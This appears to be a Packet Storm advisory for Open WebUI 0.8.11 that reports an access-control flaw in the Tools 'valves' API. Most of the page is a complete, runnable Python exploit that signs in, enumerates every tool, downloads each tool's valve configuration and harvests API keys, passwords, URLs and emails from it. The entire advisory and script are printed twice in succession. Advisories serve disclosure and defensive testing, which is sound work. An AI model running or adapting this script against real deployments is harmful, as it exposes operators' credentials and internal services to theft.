Description
A potential access control issue was identified in Open WebUI where the Tools API and associated βvalvesβ endpoints may expose sensitive configuration data when accessed with valid authentication tokens. The affected endpoints allow retrieval of tool...
Basic Information
ID
PACKETSTORM:219780
Published
Apr 24, 2026 at 00:00
Affected Product
Affected Versions
==================================================================================================================================
| # Title : Open WebUI 0.8.11 Improper Access Control in Tools Valves API Leads to Exposure of Sensitive Configuration Data |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://github.com/open-webui/open-webui |
==================================================================================================================================
[+] Summary : A potential access control issue was identified in Open WebUI where the Tools API and associated βvalvesβ endpoints may expose sensitive configuration data when accessed with valid authentication tokens.
The affected endpoints allow retrieval of tool metadata and configuration structures that may include secrets such as API keys, passwords, tokens, endpoints, and internal service URLs.
[+] POC :
#!/usr/bin/env python3
import requests
import json
import sys
import argparse
from typing import Dict, List, Optional
from urllib.parse import urljoin
class OpenWebUIExploit:
def __init__(self, base_url: str, token: str, verbose: bool = False):
self.base_url = base_url.rstrip('/')
self.token = token
self.verbose = verbose
self.session = requests.Session()
self.session.headers.update({
'Authorization': f'Bearer {token}',
'Content-Type': 'application/json'
})
def log(self, message: str, level: str = "INFO"):
if not self.verbose and level == "DEBUG":
return
colors = {
"INFO": "\033[94m",
"SUCCESS": "\033[92m",
"ERROR": "\033[91m",
"WARNING": "\033[93m",
"DEBUG": "\033[90m"
}
print(f"{colors.get(level, '')}[{level}] {message}\033[0m")
def get_all_tools(self) -> List[Dict]:
try:
url = urljoin(self.base_url, '/api/v1/tools/')
response = self.session.get(url)
if response.status_code == 200:
try:
tools = response.json()
if isinstance(tools, dict):
tools = tools.get("data", [])
self.log(f"Found {len(tools)} tools", "SUCCESS")
return tools
except:
self.log("Invalid JSON response", "ERROR")
return []
else:
self.log(f"Failed to get tools: {response.status_code}", "ERROR")
return []
except Exception as e:
self.log(f"Error getting tools: {e}", "ERROR")
return []
def get_tool_valves(self, tool_id: str) -> Optional[Dict]:
try:
url = urljoin(self.base_url, f'/api/v1/tools/id/{tool_id}/valves')
response = self.session.get(url)
if response.status_code == 200:
try:
valves = response.json()
self.log(f"Extracted valves for: {tool_id}", "SUCCESS")
return valves
except:
self.log("Invalid valves JSON", "ERROR")
return None
elif response.status_code == 404:
self.log(f"Tool not found: {tool_id}", "WARNING")
return None
else:
self.log(f"Failed valves request: {response.status_code}", "ERROR")
return None
except Exception as e:
self.log(f"Error getting valves: {e}", "ERROR")
return None
def extract_sensitive_data(self, valves: Dict) -> Dict:
sensitive = {
"api_keys": [],
"passwords": [],
"tokens": [],
"secrets": [],
"urls": [],
"emails": []
}
api_key_patterns = ['api_key', 'apikey', 'api-key', 'apiKey']
password_patterns = ['password', 'pass', 'pwd', 'secret']
url_patterns = ['url', 'endpoint', 'host', 'server']
email_patterns = ['email', 'user']
def scan_value(key: str, value, depth=0):
if depth > 10:
return
key_lower = str(key).lower()
if isinstance(value, str):
if any(p in key_lower for p in api_key_patterns):
sensitive["api_keys"].append({key: value})
if any(p in key_lower for p in password_patterns):
sensitive["passwords"].append({key: value})
if any(p in key_lower for p in url_patterns) and "http" in value:
sensitive["urls"].append({key: value})
if any(p in key_lower for p in email_patterns) and "@" in value:
sensitive["emails"].append({key: value})
elif isinstance(value, dict):
for k, v in value.items():
scan_value(k, v, depth + 1)
elif isinstance(value, list):
for i, item in enumerate(value):
scan_value(str(i), item, depth + 1)
for k, v in valves.items():
scan_value(k, v)
return sensitive
def exploit(self, tool_id: Optional[str] = None) -> Dict:
results = {
"success": False,
"tools_examined": [],
"sensitive_data": []
}
if tool_id:
valves = self.get_tool_valves(tool_id)
if valves:
sensitive = self.extract_sensitive_data(valves)
results["tools_examined"].append(tool_id)
results["sensitive_data"].append({
"tool_id": tool_id,
"valves": valves,
"sensitive": sensitive
})
if any(sensitive.values()):
results["success"] = True
else:
tools = self.get_all_tools()
if not tools:
self.log("No tools found", "WARNING")
return results
for tool in tools:
tool_id = tool.get('id')
tool_name = tool.get('name', 'Unknown')
if not tool_id:
continue
valves = self.get_tool_valves(tool_id)
if not valves:
continue
sensitive = self.extract_sensitive_data(valves)
results["tools_examined"].append(tool_id)
results["sensitive_data"].append({
"tool_id": tool_id,
"tool_name": tool_name,
"valves": valves,
"sensitive": sensitive
})
if any(sensitive.values()):
results["success"] = True
self.log(f"Sensitive data found in {tool_name}", "WARNING")
return results
def print_results(results: Dict):
print("\n" + "=" * 70)
print("RESULTS")
print("=" * 70)
if not results["success"]:
print("\n[-] No sensitive data found")
return
for item in results["sensitive_data"]:
print("\n" + "-" * 50)
print(f"Tool: {item.get('tool_name', item.get('tool_id'))}")
sensitive = item.get("sensitive", {})
for key, values in sensitive.items():
if values:
print(f"\n[!] {key.upper()}:")
for v in values:
print(f" {v}")
print("\n" + "=" * 70)
def get_token_from_login(base_url: str, email: str, password: str) -> Optional[str]:
try:
url = urljoin(base_url, '/api/v1/auths/signin')
r = requests.post(url, json={"email": email, "password": password})
if r.status_code == 200:
return r.json().get("token")
except:
pass
return None
def main():
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', required=True)
parser.add_argument('-t', '--token')
parser.add_argument('-e', '--email')
parser.add_argument('-p', '--password')
parser.add_argument('-i', '--tool-id')
parser.add_argument('-v', '--verbose', action='store_true')
args = parser.parse_args()
token = args.token
if not token and args.email and args.password:
token = get_token_from_login(args.url, args.email, args.password)
if not token:
print("[-] No token provided")
sys.exit(1)
exploit = OpenWebUIExploit(args.url, token, args.verbose)
results = exploit.exploit(args.tool_id)
print_results(results)
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================
| # Title : Open WebUI 0.8.11 Improper Access Control in Tools Valves API Leads to Exposure of Sensitive Configuration Data |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://github.com/open-webui/open-webui |
==================================================================================================================================
[+] Summary : A potential access control issue was identified in Open WebUI where the Tools API and associated βvalvesβ endpoints may expose sensitive configuration data when accessed with valid authentication tokens.
The affected endpoints allow retrieval of tool metadata and configuration structures that may include secrets such as API keys, passwords, tokens, endpoints, and internal service URLs.
[+] POC :
#!/usr/bin/env python3
import requests
import json
import sys
import argparse
from typing import Dict, List, Optional
from urllib.parse import urljoin
class OpenWebUIExploit:
def __init__(self, base_url: str, token: str, verbose: bool = False):
self.base_url = base_url.rstrip('/')
self.token = token
self.verbose = verbose
self.session = requests.Session()
self.session.headers.update({
'Authorization': f'Bearer {token}',
'Content-Type': 'application/json'
})
def log(self, message: str, level: str = "INFO"):
if not self.verbose and level == "DEBUG":
return
colors = {
"INFO": "\033[94m",
"SUCCESS": "\033[92m",
"ERROR": "\033[91m",
"WARNING": "\033[93m",
"DEBUG": "\033[90m"
}
print(f"{colors.get(level, '')}[{level}] {message}\033[0m")
def get_all_tools(self) -> List[Dict]:
try:
url = urljoin(self.base_url, '/api/v1/tools/')
response = self.session.get(url)
if response.status_code == 200:
try:
tools = response.json()
if isinstance(tools, dict):
tools = tools.get("data", [])
self.log(f"Found {len(tools)} tools", "SUCCESS")
return tools
except:
self.log("Invalid JSON response", "ERROR")
return []
else:
self.log(f"Failed to get tools: {response.status_code}", "ERROR")
return []
except Exception as e:
self.log(f"Error getting tools: {e}", "ERROR")
return []
def get_tool_valves(self, tool_id: str) -> Optional[Dict]:
try:
url = urljoin(self.base_url, f'/api/v1/tools/id/{tool_id}/valves')
response = self.session.get(url)
if response.status_code == 200:
try:
valves = response.json()
self.log(f"Extracted valves for: {tool_id}", "SUCCESS")
return valves
except:
self.log("Invalid valves JSON", "ERROR")
return None
elif response.status_code == 404:
self.log(f"Tool not found: {tool_id}", "WARNING")
return None
else:
self.log(f"Failed valves request: {response.status_code}", "ERROR")
return None
except Exception as e:
self.log(f"Error getting valves: {e}", "ERROR")
return None
def extract_sensitive_data(self, valves: Dict) -> Dict:
sensitive = {
"api_keys": [],
"passwords": [],
"tokens": [],
"secrets": [],
"urls": [],
"emails": []
}
api_key_patterns = ['api_key', 'apikey', 'api-key', 'apiKey']
password_patterns = ['password', 'pass', 'pwd', 'secret']
url_patterns = ['url', 'endpoint', 'host', 'server']
email_patterns = ['email', 'user']
def scan_value(key: str, value, depth=0):
if depth > 10:
return
key_lower = str(key).lower()
if isinstance(value, str):
if any(p in key_lower for p in api_key_patterns):
sensitive["api_keys"].append({key: value})
if any(p in key_lower for p in password_patterns):
sensitive["passwords"].append({key: value})
if any(p in key_lower for p in url_patterns) and "http" in value:
sensitive["urls"].append({key: value})
if any(p in key_lower for p in email_patterns) and "@" in value:
sensitive["emails"].append({key: value})
elif isinstance(value, dict):
for k, v in value.items():
scan_value(k, v, depth + 1)
elif isinstance(value, list):
for i, item in enumerate(value):
scan_value(str(i), item, depth + 1)
for k, v in valves.items():
scan_value(k, v)
return sensitive
def exploit(self, tool_id: Optional[str] = None) -> Dict:
results = {
"success": False,
"tools_examined": [],
"sensitive_data": []
}
if tool_id:
valves = self.get_tool_valves(tool_id)
if valves:
sensitive = self.extract_sensitive_data(valves)
results["tools_examined"].append(tool_id)
results["sensitive_data"].append({
"tool_id": tool_id,
"valves": valves,
"sensitive": sensitive
})
if any(sensitive.values()):
results["success"] = True
else:
tools = self.get_all_tools()
if not tools:
self.log("No tools found", "WARNING")
return results
for tool in tools:
tool_id = tool.get('id')
tool_name = tool.get('name', 'Unknown')
if not tool_id:
continue
valves = self.get_tool_valves(tool_id)
if not valves:
continue
sensitive = self.extract_sensitive_data(valves)
results["tools_examined"].append(tool_id)
results["sensitive_data"].append({
"tool_id": tool_id,
"tool_name": tool_name,
"valves": valves,
"sensitive": sensitive
})
if any(sensitive.values()):
results["success"] = True
self.log(f"Sensitive data found in {tool_name}", "WARNING")
return results
def print_results(results: Dict):
print("\n" + "=" * 70)
print("RESULTS")
print("=" * 70)
if not results["success"]:
print("\n[-] No sensitive data found")
return
for item in results["sensitive_data"]:
print("\n" + "-" * 50)
print(f"Tool: {item.get('tool_name', item.get('tool_id'))}")
sensitive = item.get("sensitive", {})
for key, values in sensitive.items():
if values:
print(f"\n[!] {key.upper()}:")
for v in values:
print(f" {v}")
print("\n" + "=" * 70)
def get_token_from_login(base_url: str, email: str, password: str) -> Optional[str]:
try:
url = urljoin(base_url, '/api/v1/auths/signin')
r = requests.post(url, json={"email": email, "password": password})
if r.status_code == 200:
return r.json().get("token")
except:
pass
return None
def main():
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', required=True)
parser.add_argument('-t', '--token')
parser.add_argument('-e', '--email')
parser.add_argument('-p', '--password')
parser.add_argument('-i', '--tool-id')
parser.add_argument('-v', '--verbose', action='store_true')
args = parser.parse_args()
token = args.token
if not token and args.email and args.password:
token = get_token_from_login(args.url, args.email, args.password)
if not token:
print("[-] No token provided")
sys.exit(1)
exploit = OpenWebUIExploit(args.url, token, args.verbose)
results = exploit.exploit(args.tool_id)
print_results(results)
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================